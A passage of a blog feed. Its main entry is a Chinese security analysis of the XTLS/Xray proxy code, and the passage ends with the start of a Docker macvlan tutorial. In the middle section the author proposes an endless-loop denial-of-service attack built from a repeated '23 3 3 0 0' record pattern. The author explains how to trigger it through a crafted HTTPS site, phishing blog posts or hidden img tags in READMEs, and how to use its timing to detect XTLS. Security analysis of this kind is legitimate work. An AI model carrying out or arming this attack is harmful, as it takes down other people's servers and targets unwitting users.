&lt;p&gt;也就是说，23 代表 application_data， 这个 tls1.2 和 1.3都是一样的&lt;&#x2F;p&gt;
&lt;p&gt;根据rfc文件（注意这几个标准后两位都是46）&lt;&#x2F;p&gt;
&lt;p&gt;tls1.3标准 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc8446&quot;&gt;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc8446&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;tls1.2标准 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc5246&quot;&gt;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc5246&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;tls1.1标准 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc4346&quot;&gt;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc4346&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;tls1.0标准： &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc2246&quot;&gt;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc2246&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;tls1.2和 1.3的 后面 两个数都是 3,3；而tls1.0的 后面两个数是 3，1；tls1.1 后面两个数是 3，2；&lt;&#x2F;p&gt;
&lt;p&gt;也就是说，23 3 3 的判断是针对 tls1.2或者tls1.3的；&lt;&#x2F;p&gt;
&lt;p&gt;结合代码，那么就可以看到，只有当 xtls 自己使用 tls1.3，且 内部传输数据也使用 tls1.2或 tls 1.3时，c.RPRX开关才会保持打开&lt;&#x2F;p&gt;
&lt;p&gt;c.RPRX 开关只在 writeRecordLocked 里真正使用到（一共用到7处，其他六处都是尝试判断并设它为false)。如果 c.RPRX 开关处于关闭状态，则 writeRecordLocked 直接进入normal标签，行为与标准包一样。&lt;&#x2F;p&gt;
&lt;p&gt;总之，目前的 xtls的代码是，只有当 xtls 自己使用 tls1.3，且 内部传输数据也使用 tls1.2或 tls 1.3时，才 开启xtls的免二次加密功能，这就是我的理解。&lt;&#x2F;p&gt;
&lt;p&gt;rprx在这里也自己说了，和我的推理吻合 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;RPRX&#x2F;v2ray-vless&#x2F;releases&#x2F;tag&#x2F;xtls2&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;RPRX&#x2F;v2ray-vless&#x2F;releases&#x2F;tag&#x2F;xtls2&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;XTLS 本身需要是 TLSv1.3，内层 TLS 可以为 1.3 或 1.2，此时特殊功能才会生效。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;查看xtls的历史版本，最初的版本（20年9月11）是 771, 即只有在 xtls使用 tls1.2时，才会 继续判断&lt;&#x2F;p&gt;
&lt;p&gt;后面到了 20年9月15，有一个 叫“Evolution”的 commit，更新到 xtls使用 tls1.3时才判断。&lt;&#x2F;p&gt;
&lt;p&gt;所谓的 DirectMode，应该是指，如果没有 DirectMode的话，每一个数据包都需要经过一堆判断，确认是不是 tls流量；而有了DirectMode之后，只需判断第一个数据包(这与 c.first又不同）。&lt;&#x2F;p&gt;
&lt;p&gt;rprx自己也说了，和我的推理吻合 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;RPRX&#x2F;v2ray-vless&#x2F;releases&#x2F;tag&#x2F;preview2.3&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;RPRX&#x2F;v2ray-vless&#x2F;releases&#x2F;tag&#x2F;preview2.3&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;与 Origin 不同，Direct 模式并不持续监测后续的数据流，也不会进行任何干涉。该模式的推荐程度与 TLSv1.3 的普及程度成正相关。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;XTLS 的特殊功能开启时，若 10 次内未检测到 TLS data record，将自动关闭特殊功能。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;关于 c.first, 实际上是，因为 tls会分裂 一整段大数据为多个小数据，所以每次执行Read或Write时，都要判断一下 c.first，即数据包的第一个小片段。这个就是那个“10次” 的来历。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;guan-yu-xrayde-an-quan-wen-ti&quot;&gt;关于xray的安全问题&lt;&#x2F;h2&gt;
&lt;p&gt;经理了上面分析后，xray的安全问题大概就清楚了。对比源码，再查看下面两个issue，就发现安全问题事实存在。&lt;&#x2F;p&gt;
&lt;p&gt;tls伪造攻击的探测（21年1月）： &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Go&#x2F;issues&#x2F;12&quot;&gt;XTLS&#x2F;Go#12&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;利用 close_notify 导致 xtls 可以被检测（21年9月）： &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Go&#x2F;issues&#x2F;16&quot;&gt;XTLS&#x2F;Go#16&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;This makes the detection of XTLS unambiguously accurate&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;与xtls的issue16相关的 xray的 中文讨论issue &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;issues&#x2F;814&quot;&gt;XTLS&#x2F;Xray-core#814&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这个 issue16我简单想了想，确实，GFW完全可以用它来精准探测 xtls，至少可以探测xtls目前的代码。&lt;&#x2F;p&gt;
&lt;p&gt;不得不说 AkinoKaede 一定也对xtls代码进行过深入的分析。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wu-xian-xun-huan-gong-ji&quot;&gt;无限循环攻击？&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ke-yi-li-yong-de-dai-ma-bu-fen&quot;&gt;可以利用的代码部分&lt;&#x2F;h4&gt;
&lt;p&gt;关注conn.go代码 1107行 至 1144行&lt;&#x2F;p&gt;
&lt;p&gt;这里是for循环，只要 c.skip == 0, 就会无线循环下去&lt;&#x2F;p&gt;
&lt;p&gt;如果数据是 23 3 3 0 0 23 3 3 0 0 23 3 3 0 0 ... 呢，是不是就触发了无限循环？&lt;&#x2F;p&gt;
&lt;p&gt;似乎 数据为 23 3 3 0 0 23 3 3 0 0 23 3 3 0 0 这种结构的，就会导致长循环。数据有多长，循环就会执行多少遍&lt;&#x2F;p&gt;
&lt;p&gt;那这个攻击也太方便了，1kb的流量不算啥，但是循环1000次开销可不小&lt;&#x2F;p&gt;
&lt;p&gt;我简称：233攻击&lt;&#x2F;p&gt;
&lt;p&gt;如果1MB的数据就不得了哦，循环一百万次 ；&lt;&#x2F;p&gt;
&lt;p&gt;不过我显然疏忽了，并不是每1字节就会造成1个循环，而是每5个字节造成一个循环，所以 5kb流量可以造成1024次循环。严格来说也不是正好5kb，因为还有前面的tls握手，不过也许对于我们攻击的数据来说很短，就忽略不计了。&lt;&#x2F;p&gt;
&lt;p&gt;当然一次会受到 tls包大小限制，我们可以分批发送，不影响。每个record最大长度是16k，也就是说，我们建立连接后，最多可以发送16k的数据，触发3200次的循环，然后就会实际的tls解密，肯定失败，然后会关闭连接？然后我们接着再接着执行新握手就行。而且因为 tls1.3是支持 0-rtt的，所以我们可以在握手的clienthello时就直接发送这16k的数据。&lt;&#x2F;p&gt;
&lt;p&gt;所以，我们第一次可以执行一个正常的握手，获取到pre shared key（不懂的可以自己学习tls标准），然后可以一口气直接构造 0-rtt的 clienthello整个长度数据，就是16k的 233数据前面加上 tls握手头部，然后搞个命令直接循环发送该数据即可。简单的一个 nc命令加一个管道 再加上循环 就可做到吧。&lt;&#x2F;p&gt;
&lt;p&gt;不过这个是在Write里的循环，也就是说，要想办法给 xtls服务器的 Write函数提供这么一段独特的数据；&lt;&#x2F;p&gt;
&lt;p&gt;因为xtls用于代理，所以xray 会读取 https服务器的真实数据，然后 用 Write函数 发送到客户端。 那么我们只要保证 https服务器的 加密https流量的数据实际上是伪造的就可以了，这个也不难。&lt;&#x2F;p&gt;
&lt;p&gt;是不是233数据解密一定会失败？不清楚，什么时候可以重新回顾一遍。如果能够造出数据，既满足 233循环，又能让tls成功解密出“乱码数据”，那么我们就可以 一个tls握手来发送 更多 tls record，每个record都是 16k长度，组合起来就能让服务端无限失去响应了。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;gong-ji-qing-xing-ju-li&quot;&gt;攻击情形举例&lt;&#x2F;h4&gt;
&lt;p&gt;比如如果一个机场用了vless+xtls，然后我买了这个机场，我知道了vless的密码；然后我感觉这个机场不好用，我就决定攻击它的vless服务器；&lt;&#x2F;p&gt;
&lt;p&gt;我架设一个独特的https网站，对任何来的连接都进行真实tls握手，但是发送的 record 数据是经过伪造的 23 3 3 0 0 23 3 3 0 0 循环 的数据&lt;&#x2F;p&gt;
&lt;p&gt;然后我给这个独特的https网站加一个域名，比如 fake.https.com&lt;&#x2F;p&gt;
&lt;p&gt;然后我打开使用 该机场vless订阅 的 xray客户端，然后打开浏览器，输入 fake.https.com&lt;&#x2F;p&gt;
&lt;p&gt;这样机场的 xtls服务器就会收到 连接 fake.https.com 的指令，然后 我们的 fake.https.com 握手成功后，就会向 xtls发送特殊数据，然后就会触发 xtls服务器的超长循环，达到攻击目的。&lt;&#x2F;p&gt;
&lt;p&gt;在超长循环中，服务器的cpu的单核可能会保持100%的占用率，如果服务器本身是单核服务器的话就尴尬了，攻击会直接造成服务器失去响应或者响应缓慢。&lt;&#x2F;p&gt;
&lt;p&gt;此方法很适合ddos。比普通的ddos方法效率更高，因为会更快地直接占用cpu。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;bu-chi-you-uuidqing-kuang-xia-de-gong-ji&quot;&gt;不持有uuid情况下的攻击&lt;&#x2F;h4&gt;
&lt;p&gt;不一定需要知道机场密码才能进行攻击&lt;&#x2F;p&gt;
&lt;p&gt;可以做一个钓鱼网站，主题可以与科学上网相关，然后只要访问该网站的人使用了 xtls，那他的服务器就废了&lt;&#x2F;p&gt;
&lt;p&gt;具体来说，比如，可以写一个博文，写 xtls 如何如何好，然后给个钓鱼链接，说：“使用 xtls 的同学可以看看下面文章”等等，然后不就可以精准打击了&lt;&#x2F;p&gt;
&lt;p&gt;而且钓鱼的页面甚至可以是有效的，因为html文件可以在一个正常的服务器上提供，然后html里可以放一个自动加载的外链，比如img 标签，也是一样会执行攻击&lt;&#x2F;p&gt;
&lt;p&gt;这样的话，可以在每一条博文里都加一个这种img标签，这样你只要访问任意一个文章，都会爆。&lt;&#x2F;p&gt;
&lt;p&gt;甚至，可以把种img放到 github的README.md 里（使用markdown语法），所以从今以后，任何对不了解的github仓库的访问对于xtls的使用者来说都是不安全的了，嘿嘿。&lt;&#x2F;p&gt;
&lt;p&gt;这种方法显然也可以与javascript配合，达到循环发送多个包的上面的ddos攻击&lt;&#x2F;p&gt;
&lt;h4 id=&quot;233-gong-ji-yong-yu-zhu-dong-tan-ce-de-ban-fa&quot;&gt;233 攻击 用于主动探测的办法&lt;&#x2F;h4&gt;
&lt;p&gt;我又想到了利用它进行主动探测的原理：&lt;&#x2F;p&gt;
&lt;p&gt;本身，不同长度的233数据会导致不同长度的 xtls循环，那么理论上讲，我们只要依次发送不同长度的 233数据（长度最好指数级增加），然后计算xtls产生响应所需的时间，只要是线性关系，即可证明使用了xtls&lt;&#x2F;p&gt;
&lt;h4 id=&quot;xiao-bai-men-de-wu-qu&quot;&gt;小白们的误区&lt;&#x2F;h4&gt;
&lt;p&gt;有人评论说只要两端都开启tls1.3就可以防止问题？ 请问你怎么想的？甚至 23 3 3 攻击就是在攻击 tlsv1.3特征，能不能读题。&lt;&#x2F;p&gt;
&lt;p&gt;你两端都开启 tls1.3，就正中攻击者下怀了，因为只有开了 tls1.3， xtls的功能才会启用，否则就是普通的 tls。&lt;&#x2F;p&gt;
&lt;p&gt;TLS1.3 只是握手更安全、更快了一些，而我们的 2333攻击 攻击的不是握手阶段，而是第一个数据阶段，还是审题啊！&lt;&#x2F;p&gt;
&lt;p&gt;那个 “23” 我不是说了吗，是 recordTypeApplicationData，这就是数据的意思。&lt;&#x2F;p&gt;
&lt;p&gt;我后来突然明白小白的误区了，根据 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;xtls.github.io&#x2F;config&#x2F;transport.html#tlsobject&quot;&gt;https:&#x2F;&#x2F;xtls.github.io&#x2F;config&#x2F;transport.html#tlsobject&lt;&#x2F;a&gt; ， 你可以配置最低 tls版本为1.3&lt;&#x2F;p&gt;
&lt;p&gt;问题是，这个配置的是外层的tls1.3，不是内层的啊！ 我们是无法控制内层传输的是tls1.3还是tls1.2的。而xtls除了本233问题之外的两个漏洞 都是和内层传输tls1.2 有关的。&lt;&#x2F;p&gt;
&lt;p&gt;唉，听不明白算了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;guan-yu-xrayde-liu-kong&quot;&gt;关于 xray的流控&lt;&#x2F;h2&gt;
&lt;p&gt;大概分下面三种&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;xtls-rprx-origin&lt;&#x2F;li&gt;
&lt;li&gt;xtls-rprx-direct&lt;&#x2F;li&gt;
&lt;li&gt;xtls-rprx-splice&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;guan-yu-xtls-gode-issue-12&quot;&gt;关于 xtls&#x2F;go的 issue 12&lt;&#x2F;h3&gt;
&lt;p&gt;据说上面的 23 3 3 判断是用在origin上的？？&lt;&#x2F;p&gt;
&lt;p&gt;然而，根据上文的探索，请大家在 conn.go 文件中搜索 &lt;code&gt;if c.DirectMode {&lt;&#x2F;code&gt;，就会发现direct模式是在 23 3 3 判断之后发生的。&lt;&#x2F;p&gt;
&lt;p&gt;也就是说， 无论是 origin 还是 direct， 都是依赖于 最基础的 客户数据分析。唯一区别是，directMode只需检测第一个数据包，而origin的话所有数据包都要检测。总之，只要检测就有漏洞。&lt;&#x2F;p&gt;
&lt;p&gt;splice就不用说了，和服务端没关系，属于客户端实现，实际上splice在 conn.go里没有体现出来，因此 splice是与 origin, direct 无关的一种流控；（按我的思路，它算不上流控，我认为只有在conn.go 里体现到的才叫流控）&lt;&#x2F;p&gt;
&lt;p&gt;具体说，就是说 issue12认为origin模式下才有问题；而实际上根据 23 3 3的判断，我认为任何情况下都是可能被攻击的，这个我实在是小白，搞不懂，总之这就是我目前的理解。我不管rprx咋回复的，反正代码里就是如此。&lt;&#x2F;p&gt;
&lt;p&gt;rprx说：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Direct 其实并不需要魔改 TLS 库就可以实现，它不需要读过滤，甚至传输 TLSv1.3 时连写过滤都不需要，非常简洁、高效&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;但是有这样的实现吗？xray不还是在使用 xtls&#x2F;go 包吗？ 只要使用这个过时的包，那么direct就时时会遭受 tls v1.3 过滤所带来的问题。&lt;&#x2F;p&gt;
&lt;p&gt;direct模式和 origin模式都是用 xtls&#x2F;go 的证据 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;blob&#x2F;e93da4bd02f2420df87d7b0b44412fbfbad7c295&#x2F;proxy&#x2F;vless&#x2F;inbound&#x2F;inbound.go#L445&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;blob&#x2F;e93da4bd02f2420df87d7b0b44412fbfbad7c295&#x2F;proxy&#x2F;vless&#x2F;inbound&#x2F;inbound.go#L445&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;xray使用 的 xtls&#x2F;go 包的证据 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;blob&#x2F;e93da4bd02f2420df87d7b0b44412fbfbad7c295&#x2F;go.mod#L19&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;blob&#x2F;e93da4bd02f2420df87d7b0b44412fbfbad7c295&#x2F;go.mod#L19&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xrayde-bai-bi-zong-jie&quot;&gt;xray的败笔总结&lt;&#x2F;h2&gt;
&lt;p&gt;可以被精准探测，可以被无限循环攻击，这两条还不够？别用xray了，漏洞百出，rprx不过如此。&lt;&#x2F;p&gt;
&lt;p&gt;而且，实际上，我认为类似 “233攻击” 的漏洞，或者 探测方式， 对于xtls来说是无解的。只要你是开源的，只要你去过滤tls代码，我总是能找到攻击或者探测你的办法，&lt;&#x2F;p&gt;
&lt;p&gt;除非你不过滤，但是不过滤的话，那就是无脑通过了，形同不加密，要不就干脆全加密，那就又退化成了tls。&lt;&#x2F;p&gt;
&lt;p&gt;而且，就算本文提出的233攻击不可行，xtls的issue中不还是有两个未解决的漏洞吗，所以xtls确实不安全&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xray-de-legacy&quot;&gt;xray 的 legacy&lt;&#x2F;h2&gt;
&lt;p&gt;不过它真的毫无价值了吗？应该也不是，因为除了这个以外，rprx还是实现了 ReadV 增强， splice，utls包 等应用。那些功能还是有价值的。&lt;&#x2F;p&gt;
&lt;p&gt;不过后来查看发现 utls和xtls是平级的，也就是说 用utls就不能用xtls，用xtls就不能用utls。所以就剩 readv 和 splice了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;readv&quot;&gt;ReadV&lt;&#x2F;h3&gt;
&lt;p&gt;不过 v2ray里也是有 readv的，所以也不清楚xray的那个readv和这个是什么关系 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;v2fly&#x2F;v2ray-core&#x2F;commits&#x2F;3ef7feaeaf737d05c5a624c580633b7ce0f0f1be&#x2F;common&#x2F;buf&#x2F;readv_reader.go&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;v2fly&#x2F;v2ray-core&#x2F;commits&#x2F;3ef7feaeaf737d05c5a624c580633b7ce0f0f1be&#x2F;common&#x2F;buf&#x2F;readv_reader.go&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;后面我仔细查看了，是 rprx把自己的readv代码 提交了一个 pull request, 然后merge到了 v2fly的代码里 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;v2fly&#x2F;v2ray-core&#x2F;pull&#x2F;388&quot;&gt;v2fly&#x2F;v2ray-core#388&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;但是因为 v2fly 不使用 xtls，所以没用到。见 proxy&#x2F;vless&#x2F;inbound&#x2F;inbound.go 文件的 &lt;code&gt;(h *Handler) Process&lt;&#x2F;code&gt; 函数的 &lt;code&gt;postRequest&lt;&#x2F;code&gt; 变量定义部分的 两个库的对比&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;RPRX&#x2F;v2ray-vless&#x2F;blob&#x2F;master&#x2F;proxy&#x2F;vless&#x2F;inbound&#x2F;inbound.go#L448&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;RPRX&#x2F;v2ray-vless&#x2F;blob&#x2F;master&#x2F;proxy&#x2F;vless&#x2F;inbound&#x2F;inbound.go#L448&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;v2fly&#x2F;v2ray-core&#x2F;blob&#x2F;master&#x2F;proxy&#x2F;vless&#x2F;inbound&#x2F;inbound.go&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;v2fly&#x2F;v2ray-core&#x2F;blob&#x2F;master&#x2F;proxy&#x2F;vless&#x2F;inbound&#x2F;inbound.go&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;后来我研究splice时，才发现，rprx只是利用了一下 ReadV函数，实际上 和 readv函数时两回事。而v2ray里目前里面就有的readv实际上是 Victoria写的，早就存在的函数。&lt;&#x2F;p&gt;
&lt;p&gt;我对readv的分析： &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;e1732a364fed&#x2F;readv-&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;e1732a364fed&#x2F;readv-&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;splice&quot;&gt;Splice&lt;&#x2F;h3&gt;
&lt;p&gt;关于splice &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;v2xtls.org&#x2F;xray%e5%8f%91%e5%b8%831-1-2%e7%89%88%e6%9c%ac&#x2F;&quot;&gt;https:&#x2F;&#x2F;v2xtls.org&#x2F;xray%e5%8f%91%e5%b8%831-1-2%e7%89%88%e6%9c%ac&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我的新的关于splice的探讨，和本文关联较大，推荐扩展阅读。 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;e1732a364fed&#x2F;xray_splice-&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;e1732a364fed&#x2F;xray_splice-&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;hua-wai&quot;&gt;话外&lt;&#x2F;h1&gt;
&lt;p&gt;总之，关于 23 3 3的判断，我只想说，23333&lt;&#x2F;p&gt;
&lt;p&gt;&lt;del&gt;我甚至遐想，可能rprx就是发现这两个issue不好解决才消失的。哈哈，rprx，你生气了就出来啊，你出来对大家都是好事&lt;&#x2F;del&gt; rprx 已经出来了，逃～&lt;&#x2F;p&gt;
&lt;h2 id=&quot;guan-yu-mpl&quot;&gt;关于MPL&lt;&#x2F;h2&gt;
&lt;p&gt;弱开源约束授权 MPL License（Mozilla Public License）1&lt;&#x2F;p&gt;
&lt;p&gt;允许免费重发布、免费修改，但要求修改后的代码版权归软件的发起者。&lt;&#x2F;p&gt;
&lt;p&gt;这种授权维护了商业软件的利益，，它要求基于这种软件的修改无偿贡献版权给该软件。&lt;&#x2F;p&gt;
&lt;p&gt;这样，围绕该软件的所有代码得版权都集中在发起开发人得手中。&lt;&#x2F;p&gt;
&lt;p&gt;但MPL是允许修改，无偿使用的。&lt;&#x2F;p&gt;
&lt;p&gt;MPL软件对链接没有要求。(要求假如你修改了一个基于MPL协议的源代码，则必须列入或公开你所做的修改，假如其他源代码不是基于MPL则不需要公开其源代码)&lt;&#x2F;p&gt;
&lt;p&gt;原文链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;xiaoxiao133&#x2F;article&#x2F;details&#x2F;83049959&quot;&gt;https:&#x2F;&#x2F;blog.csdn.net&#x2F;xiaoxiao133&#x2F;article&#x2F;details&#x2F;83049959&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;也许，如果rprx被喝茶，恐怕 请他喝茶 的人 也可以 拿这个MPL协议 做借口。&lt;&#x2F;p&gt;
&lt;p&gt;你要这个版权是想要干啥呢？&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>docker使用macvlan配置网络，使容器与宿主机在同一局域网，广播域内_docker macvlan dhcp-CSDN博客</title>
        <published>2025-04-17T00:00:00+00:00</published>
        <updated>2025-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/docker使用macvlan配置网络-使容器与宿主机在同一局域网-广播域内_docker-macvlan-dhcp-csdn博客/"/>
        <id>https://vercel.juzhong.asia/obsidian/docker使用macvlan配置网络-使容器与宿主机在同一局域网-广播域内_docker-macvlan-dhcp-csdn博客/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/docker使用macvlan配置网络-使容器与宿主机在同一局域网-广播域内_docker-macvlan-dhcp-csdn博客/">&lt;h1 id=&quot;dockershi-yong-macvlanpei-zhi-wang-luo-shi-rong-qi-yu-su-zhu-ji-zai-tong-yi-ju-yu-wang-yan-bo-yu-nei-docker-macvlan-dhcp-csdnbo-ke&quot;&gt;docker使用macvlan配置网络，使容器与宿主机在同一局域网，广播域内_docker macvlan dhcp-CSDN博客&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;h4 id=&quot;wen-ti-jie-shao&quot;&gt;问题介绍&lt;&#x2F;h4&gt;
&lt;p&gt;最近在做将项目放入&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=docker&amp;amp;spm=1001.2101.3001.7020&quot;&gt;docker&lt;&#x2F;a&gt;容器中启动，运行。项目中需要开启DHCP服务，不运行不知道，一运行就发现问题了，由于docker容器和其宿主机不在一个广播域内，所以在容器中启动的DHCP服务收不到宿主机局域网内的广播报文，就无法正常进行DHCP服务的工作&lt;&#x2F;p&gt;
&lt;h4 id=&quot;fang-an&quot;&gt;方案&lt;&#x2F;h4&gt;
&lt;p&gt;通过查阅资料和官方文档，发现macvlan这种网络模式可以是容器直接连接到物理网络，解决我们的问题。但是官网同时说了这种模式只支持Linux系统下的docker，对于windows和Mac系统下不支持。但是我是需要运行在windows系统下的，所以我采用的方式是在windows下安装一个Linux虚拟机，然后在虚拟机中运行docker。
官网链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.docker.com&#x2F;network&#x2F;network-tutorial-macvlan&#x2F;&quot;&gt;https:&#x2F;&#x2F;docs.docker.com&#x2F;network&#x2F;network-tutorial-macvlan&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;bu-zou&quot;&gt;步骤&lt;&#x2F;h4&gt;
&lt;p&gt;1.开启虚拟机网卡的混杂模式（对于直接在Linux系统下的不需要此步骤）
在VirtualBox下选择安装的虚拟机，点击设置，选择左侧网络菜单，选择网卡进行如下配置。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;连接方式：连接方式需要选择桥接网卡，使虚拟机和windows宿主机在同一局域网内
界面名称：在windows cmd窗口执行&lt;code&gt;ipconfig &#x2F;all&lt;&#x2F;code&gt; ,查看对应物理网卡的描述，在界面名称选择需要桥接的物理网卡
混杂模式：选择全部允许（如果在启动后修改混杂模式，建议进行重启后尝试；我在虚拟机启动中修改混杂模式为拒绝后，发现ping立马不通，再改回全部允许也ping不通，需要重启）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-lan&#x2F;virtualbox-bridged-network.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-lan&#x2F;virtualbox-bridged-network-2.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;2.设置Linux系统网卡开启混杂模式
在终端输入&lt;code&gt;ip link set enp0s8 promisc on&lt;&#x2F;code&gt; 开启网卡接口enp0s8的混杂模式，enp0s8根据实际配置网卡填写
在终端输入&lt;code&gt;ifconfig&lt;&#x2F;code&gt;查看是否开启混杂模式，显示有PROMISC即为混杂模式已开启
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-lan&#x2F;ifconfig-promisc-mode-check.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
3.创建docker network，启动容器&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker network create -d macvlan --subnet=192.168.50.0&amp;#x2F;24 --gateway=192.168.50.1 -o parent=enp0s8 mymacvlan
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;–subnet 填写enp0s8网卡网段 parent= 填写需要连接到宿主机物理网络的对应网卡
